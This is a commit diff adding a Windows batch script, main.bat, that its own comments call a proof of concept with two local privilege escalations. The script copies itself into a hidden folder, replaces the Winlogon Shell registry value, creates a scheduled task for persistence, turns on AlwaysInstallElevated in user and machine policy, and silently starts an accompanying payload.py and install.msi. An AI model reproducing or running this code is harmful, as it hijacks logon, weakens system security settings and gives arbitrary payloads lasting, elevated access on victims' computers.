Add main.bat
This commit is contained in:
@@ -0,0 +1,26 @@
|
||||
|
||||
@echo off
|
||||
setlocal
|
||||
set "D=%LOCALAPPDATA%\ShellHook"&set "I=%D%\install.bat"&set "K=HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
|
||||
reg add "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f>nul
|
||||
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticecaption /t REG_SZ /d "0x000000" /f>nul
|
||||
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticetext /t REG_SZ /d "0xFFFFFF" /f>nul
|
||||
if /i "%~1"=="/uninstall" exit
|
||||
if not exist "%D%" mkdir "%D%"
|
||||
copy /y "%~f0" "%I%" >nul
|
||||
if exist "%~dp0payload.py" copy /y "%~dp0payload.py" "%D%\payload.py" >nul
|
||||
reg add "%K%" /v Shell /t REG_SZ /d "\"%I%\"" /f >nul
|
||||
if /i not "%~f0"=="%I%" (start "" "%I%" & exit)
|
||||
schtasks /create /tn "SystemBootTask" /tr "%I%" /f >nul 2>&1
|
||||
start "" explorer.exe
|
||||
start "" install.msi
|
||||
where pythonw.exe >nul 2>&1 && start "" pythonw.exe "%D%\payload.py" || start "" python.exe "%D%\payload.py"
|
||||
net session >nul 2>&1 && (
|
||||
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "\"%I%\"" /f >nul
|
||||
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f >nul
|
||||
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticecaption /t REG_SZ /d "0x000000" /f >nul
|
||||
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v legalnoticetext /t REG_SZ /d "0xFFFFFF" /f >nul
|
||||
) || schtasks /create /tn "SystemBootTask" /tr "%I%" /f >nul 2>&1
|
||||
rem there are two LPE in this PoC.
|
||||
rem might not work OoB on all devices.
|
||||
rem tested each on fresh win 11 install.
|
||||
Reference in New Issue
Block a user